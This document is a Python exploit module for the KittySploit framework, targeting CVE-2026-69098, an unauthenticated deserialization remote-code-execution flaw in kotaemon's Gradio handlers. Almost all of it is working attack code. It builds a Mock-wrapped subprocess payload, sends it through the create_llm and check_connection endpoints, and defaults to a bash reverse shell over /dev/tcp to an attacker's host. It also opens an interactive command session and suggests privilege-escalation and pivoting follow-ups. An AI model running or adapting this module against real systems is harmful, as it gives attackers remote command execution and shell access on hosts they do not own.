kotaemon Insecure Deserialization RCE (CVE-2026-69098)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-69098 — kotaemon unauthenticated Gradio deserialization RCE."""

from __future__ import annotations

import html
import json
import re
import uuid
from typing import Any, Optional, Union

from kittysploit import *
from lib.protocols.http.gradio import Gradio
from lib.protocols.http.http_client import Http_client

KOTAEMON_DEFAULT_PORT = 7860
KOTAEMON_AFFECTED_VERSION = "0.12.0"
CREATE_API = "/create_llm"
CHECK_API = "/check_connection"
DEFAULT_LLM_CLASS = "ChatOpenAI"


def _build_rce_spec(command: str) -> str:
    """Mock-wrapped subprocess.check_output spec for deserialize(safe=False)."""
    cmd = str(command or "").strip()
    spec = {
        "__type__": "unittest.mock.Mock",
        "return_value": {
            "__type__": "subprocess.check_output",
            "args": ["sh", "-c", f"{cmd} 2>&1; true"],
            "text": True,
        },
    }
    return json.dumps(spec)


def _parse_got_response(raw: Union[str, Any]) -> str:
    """Extract stdout from kotaemon's ``Got response: ...`` HTML log line."""
    if raw is None:
        return ""
    text = raw if isinstance(raw, str) else json.dumps(raw, default=str)
    match = re.search(r"Got response:(.*?)</mark>", text, re.S | re.I)
    if match:
        return html.unescape(match.group(1)).strip("\n")
    return html.unescape(re.sub(r"<[^>]+>", "", text)).strip()


class _KotaemonCmdChannel:
    def __init__(self, factory):
        self._factory = factory

    def run_command(self, command: str) -> str:
        return self._factory().run_command(command)


class _KotaemonChain:
    """kotaemon-specific two-step chain: create_llm → check_connection."""

    def __init__(
        self,
        module: "Module",
        create_api: str = CREATE_API,
        check_api: str = CHECK_API,
        llm_class: str = DEFAULT_LLM_CLASS,
        llm_name: str = "",
    ):
        self.module = module
        self.create_api = create_api or CREATE_API
        self.check_api = check_api or CHECK_API
        self.llm_class = llm_class or DEFAULT_LLM_CLASS
        self.llm_name = llm_name.strip()

    def refresh_apis_from_config(self) -> tuple[str, str]:
        self.module.gradio_refresh_config()
        self.create_api = self.module.gradio_find_api("create_llm", default=self.create_api)
        self.check_api = self.module.gradio_find_api("check_connection", default=self.check_api)
        return self.create_api, self.check_api

    def ensure_llm_slot(self) -> str:
        name = self.llm_name or f"ks_{uuid.uuid4().hex[:8]}"
        self.module.gradio_predict(self.create_api, [name, self.llm_class, "{}", False])
        self.llm_name = name
        return name

    def run_command(self, command: str) -> str:
        name = self.ensure_llm_slot()
        raw = self.module.gradio_predict(self.check_api, [name, _build_rce_spec(command)])
        return _parse_got_response(raw)


class Module(Exploit, Http_client, Gradio):
    __info__ = {
        "name": "kotaemon Insecure Deserialization RCE (CVE-2026-69098)",
        "description": (
            "Exploits CVE-2026-69098 in kotaemon <= 0.12.0: unauthenticated Gradio "
            "handlers create_llm and check_connection deserialize attacker-controlled "
            "YAML/JSON with deserialize(safe=False). A unittest.mock.Mock wrapper "
            "around subprocess.check_output executes arbitrary commands; stdout is "
            "returned in-band via the Got response log line. Opens an http_cmd session "
            "by default (Docker deployments often run as root)."
        ),
        "author": ["HK4zCzi", "KittySploit Team"],
        "cve": ["CVE-2026-69098"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD, Arch.PYTHON],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "arch": Arch.CMD,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-69098",
            "https://github.com/advisories/GHSA-5cg2-9v3x-66cv",
            "https://github.com/Cinnamon/kotaemon/issues/844",
            "https://www.vulncheck.com/advisories/kotaemon-unauthenticated-remote-code-execution-via-insecure-deserialization",
        ],
        "tags": [
            "kotaemon",
            "gradio",
            "deserialization",
            "rce",
            "unauthenticated",
            "preauth",
            "llm",
            "rag",
            "cve-2026-69098",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["kotaemon", "gradio"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {"gradio": 0.3},
                "endpoint_pattern_any": ["/check_connection", "/create_llm"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(KOTAEMON_DEFAULT_PORT, "kotaemon Gradio port (default 7860)", True)
    ssl = OptBool(False, "Use HTTPS for Gradio API calls", True)
    base_path = OptString("/", "URL base path where kotaemon is mounted", False)
    command = OptString("", "OS command to run (-c); overrides payload when set", False)
    create_api = OptString(
        CREATE_API,
        "Gradio api_name for LLM registration (auto-detected from /config when default fails)",
        False,
        advanced=True,
    )
    check_api = OptString(
        CHECK_API,
        "Gradio api_name for deserialization RCE (auto-detected from /config when default fails)",
        False,
        advanced=True,
    )
    llm_class = OptString(
        DEFAULT_LLM_CLASS,
        "LLM class name passed to create_llm",
        False,
        advanced=True,
    )
    llm_name = OptString(
        "",
        "Named LLM slot for check_connection (random ks_* if empty)",
        False,
        advanced=True,
    )
    verify_cmd = OptString("id", "Probe command used by check()", False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._session_connections = {}
        self._chain: Optional[_KotaemonChain] = None

    def _chain_instance(self, refresh_apis: bool = False) -> _KotaemonChain:
        chain = _KotaemonChain(
            module=self,
            create_api=str(self.create_api or CREATE_API),
            check_api=str(self.check_api or CHECK_API),
            llm_class=str(self.llm_class or DEFAULT_LLM_CLASS),
            llm_name=str(self.llm_name or "").strip(),
        )
        if refresh_apis:
            chain.refresh_apis_from_config()
        return chain

    def _get_chain(self, refresh_apis: bool = False) -> _KotaemonChain:
        if self._chain is None or refresh_apis:
            self._chain = self._chain_instance(refresh_apis=refresh_apis)
        return self._chain

    def _looks_like_kotaemon(self) -> bool:
        if self.gradio_looks_like(extra_markers=("kotaemon", "ktem", "cinnamon")):
            return True
        apis = [a.lower() for a in self.gradio_api_names()]
        return any("create_llm" in a or "check_connection" in a for a in apis)

    def _resolve_command(self) -> str:
        cmd = str(self.command or "").strip()
        if cmd:
            return cmd
        if self.payload and str(self.payload).strip():
            return str(self.payload).strip()
        lh = str(self.lhost or "").strip()
        lp = self.lport
        if lh and lp not in ("", None):
            return f"bash -c 'bash -i >& /dev/tcp/{lh}/{int(lp)} 0>&1'"
        return ""

    def execute(self, cmd: str) -> str:
        chain = self._get_chain()
        try:
            return chain.run_command(cmd)
        except RuntimeError:
            chain.refresh_apis_from_config()
            self._chain = chain
            return chain.run_command(cmd)

    def run_command(self, command: str) -> str:
        return self.execute(command)

    def check(self):
        if not self._looks_like_kotaemon():
            return {
                "vulnerable": False,
                "reason": "Target does not look like kotaemon/Gradio",
                "confidence": "low",
            }

        chain = self._get_chain(refresh_apis=True)
        probe = str(self.verify_cmd or "id").strip() or "id"
        try:
            output = chain.run_command(probe)
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Gradio exploit chain failed: {exc}",
                "confidence": "low",
            }

        if probe == "id" and "uid=" in output:
            return {
                "vulnerable": True,
                "reason": (
                    f"Unauthenticated check_connection RCE confirmed "
                    f"(kotaemon <= {KOTAEMON_AFFECTED_VERSION}): {output.splitlines()[0][:120]}"
                ),
                "confidence": "high",
            }
        if output.strip():
            return {
                "vulnerable": True,
                "reason": (
                    f"check_connection returned command output "
                    f"(kotaemon <= {KOTAEMON_AFFECTED_VERSION}, no upstream patch)"
                ),
                "confidence": "high",
            }

        return {
            "vulnerable": True,
            "reason": (
                f"kotaemon Gradio handlers reachable but probe returned no output "
                f"(<= {KOTAEMON_AFFECTED_VERSION})"
            ),
            "confidence": "medium",
        }

    def _open_session(self) -> Optional[str]:
        if not self.framework or not hasattr(self.framework, "session_manager"):
            print_warning("Framework session manager unavailable; http_cmd session not registered")
            return None

        protocol = "https" if self.ssl else "http"
        session_id = self.framework.session_manager.create_session(
            host=str(self.target or ""),
            port=int(self.port or KOTAEMON_DEFAULT_PORT),
            session_type="http_cmd",
            data={
                "protocol": protocol,
                "uripath": self.gradio_mount_path(),
                "platform": "linux",
                "exploit_module": "kotaemon_cve_2026_69098_rce",
                "cve": "CVE-2026-69098",
                "llm_name": getattr(self._get_chain(), "llm_name", ""),
            },
        )
        self._session_connections[session_id] = _KotaemonCmdChannel(self._chain_instance)
        print_success(f"Interactive command session opened: {session_id}")
        print_info("Use 'sessions -i <id>' for an interactive shell")
        return session_id

    def run(self):
        try:
            print_status("CVE-2026-69098 — kotaemon Gradio deserialization RCE")
            print_info(
                f"Handlers: create={self.create_api or CREATE_API} "
                f"check={self.check_api or CHECK_API} "
                f"(auto-resolved from GET /config on failure)"
            )

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            cmd = self._resolve_command()
            if cmd and str(self.command or "").strip():
                print_status(f"Executing: {cmd}")
                out = self.execute(cmd)
                if out:
                    print_info(out)
                else:
                    print_warning("Command produced no in-band output")

            elif cmd:
                print_status("Dispatching reverse payload via check_connection")
                self.execute(cmd)
                print_info("Verify listener/session for reverse callback")

            self._open_session()
            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            print_info("Enumerate handler names from GET /config (dependencies[].api_name)")
            return False